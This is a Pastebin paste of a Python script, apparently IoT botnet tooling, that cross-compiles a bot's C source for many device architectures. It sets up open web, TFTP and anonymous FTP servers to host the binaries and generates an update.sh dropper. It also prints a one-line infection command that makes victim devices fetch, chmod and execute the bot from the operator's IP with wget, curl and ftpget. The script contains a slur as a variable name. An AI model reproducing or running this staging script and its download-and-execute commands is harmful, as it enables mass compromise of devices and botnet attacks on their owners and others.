KekSec

cc7.py

Oct 24th, 2020 (edited)
740
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.47 KB | None | 0 0
  1. #Python auto cross compiler by void
  2.  
  3. import subprocess, sys
  4.  
  5. if len(sys.argv[2]) != 0:
  6. ip = sys.argv[2]
  7. else:
  8. print("\x1b[0;31mIncorrect Usage!")
  9. print("\x1b[0;32mUsage: python " + sys.argv[0] + " <BOTNAME.C> <IPADDR> \x1b[0m")
  10. exit(1)
  11.  
  12. bot = sys.argv[1]
  13.  
  14. yourafag = raw_input("Get arch's? Y/n:")
  15. if yourafag.lower() == "y":
  16. get_arch = True
  17. else:
  18. get_arch = False
  19.  
  20. compileas = ["keksec.mips", #mips
  21. "keksec.mpsl", #mipsel
  22. "keksec.sh4", #sh4
  23. "keksec.x86", #x86
  24. "keksec.arm7", #Armv6l
  25. "keksec.x64", #i686
  26. "keksec.ppc", #ppc
  27. "keksec.i586", #i586
  28. "keksec.m68k", #m68k
  29. "keksec.spc", #sparc
  30. "keksec.arm", #armv4
  31. "keksec.arm5", #armv5
  32. "keksec.ppc-440fp"] #powerpc-440fp
  33.  
  34. getarch = ['http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2',
  35. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2',
  36. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2',
  37. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2',
  38. 'http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2',
  39. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2',
  40. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2',
  41. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2',
  42. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2',
  43. 'http://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2',
  44. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2',
  45. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2',
  46. 'https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2']
  47.  
  48. ccs = ["cross-compiler-mips",
  49. "cross-compiler-mipsel",
  50. "cross-compiler-sh4",
  51. "cross-compiler-x86_64",
  52. "cross-compiler-armv6l",
  53. "cross-compiler-i686",
  54. "cross-compiler-powerpc",
  55. "cross-compiler-i586",
  56. "cross-compiler-m68k",
  57. "cross-compiler-sparc",
  58. "cross-compiler-armv4l",
  59. "cross-compiler-armv5l",
  60. "cross-compiler-powerpc-440fp"]
  61.  
  62. def run(cmd):
  63. subprocess.call(cmd, shell=True)
  64.  
  65. if get_arch == True:
  66. run("rm -rf cross-compiler-*")
  67.  
  68. print("Downloading Architectures")
  69.  
  70. for arch in getarch:
  71. run("wget " + arch + " --no-check-certificate >> /dev/null")
  72. run("tar -xvf *tar.bz2")
  73. run("rm -rf *tar.bz2")
  74.  
  75. print("Cross Compilers Downloaded...")
  76.  
  77. num = 0
  78. for cc in ccs:
  79. arch = cc.split("-")[2]
  80. if "-440fp" in cc:
  81. run("./"+cc+"/bin/"+arch+"-440fp-gcc -static -o " + compileas[num] + " " + bot)
  82. else:
  83. run("./"+cc+"/bin/"+arch+"-gcc -static -o " + compileas[num] + " " + bot)
  84.  
  85. num += 1
  86.  
  87. print("Cross Compiling Done!")
  88. print("Setting up your apache2 and tftp")
  89.  
  90. run("apt-get install apache2 -y")
  91. run("service apache2 start")
  92. run("apt-get install xinetd tftpd tftp -y")
  93. run("apt-get install vsftpd -y")
  94. run("service vsftpd start")
  95.  
  96. fh=open("/etc/xinetd.d/tftp", "w")
  97. fh.write('''service tftp
  98. {
  99. protocol = udp
  100. port = 69
  101. socket_type = dgram
  102. wait = yes
  103. user = nobody
  104. server = /usr/sbin/in.tftpd
  105. server_args = /tftpboot
  106. disable = no
  107. }''')
  108. fh.close()
  109.  
  110. run('mkdir /tftpboot')
  111. run('mkdir /var/www/html/bins')
  112.  
  113. fh=open("/etc/vsftpd.conf", "w")
  114. fh.write('''listen=YES
  115. local_enable=YES
  116. anonymous_enable=YES
  117. no_anon_password=YES
  118. write_enable=YES
  119. anon_root=/var/ftp
  120. anon_max_rate=2048000
  121. xferlog_enable=YES
  122. listen_address='''+ ip +'''
  123. listen_port=21''')
  124. fh.close()
  125.  
  126. for i in compileas:
  127. run("cp " + i + " /var/www/html/bins")
  128. run("cp " + i + " /var/ftp")
  129. run("cp " + i + " /tftpboot")
  130. run("mv " + i + " /var/lib/tftpboot")
  131.  
  132. run("cp " + i + " /var/www/html")
  133. run("cp " + i + " /var/ftp")
  134. run("cp " + i + " /tftpboot")
  135. run("mv " + i + " /var/lib/tftpboot")
  136.  
  137. run('echo "#!/bin/sh" > /var/www/html/update.sh')
  138. run('echo "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /" >> /var/www/html/update.sh')
  139.  
  140. for i in compileas:
  141. run('echo "curl http://' + ip + '/bins/' + i + ' -O; busybox curl http://' + ip + '/bins/' + i + ' -O; wget http://' + ip + '/bins/' + i + ' -O ' + i + '; busybox wget http://' + ip + '/bins/' + i + ' -O ' + i + '; chmod 777 ' + i + '; ./' + i + '; rm -rf ' + i + '" >> /var/www/html/update.sh')
  142.  
  143. run("cp /var/www/html/update.sh /var/ftp")
  144. run("cp /var/www/html/update.sh /tftpboot")
  145. run("cp /var/www/html/update.sh /var/lib/tftpboot")
  146.  
  147. run("chmod -R 777 /tftpboot")
  148. run("chown -R nobody /tftpboot")
  149.  
  150. run("service xinetd restart")
  151. run("/etc/init.d/xinetd restart")
  152. run("service vsftpd restart")
  153. run("/etc/init.d/vsftpd restart")
  154. run("service lighttpd restart")
  155. run("/etc/init.d/lighttpd restart")
  156.  
  157. print("\x1b[0;32mSuccessfully cross compiled!\x1b[0m")
  158. print("\x1b[0;32m" + 'Your link: cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://' + ip + '/update.sh -O update.sh; busybox wget http://' + ip + '/update.sh -O update.sh; ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' update.sh update.sh; busybox ftpget -v -u anonymous -p anonymous -P 21 ' + ip + ' update.sh update.sh; chmod 777 update.sh; ./update.sh; rm -rf update.sh\x1b[0m')
  159. print
  160. print("\x1b[0;32mCoded By Freak\x1b[0m")
  161.  
Add Comment
Please, Sign In to add comment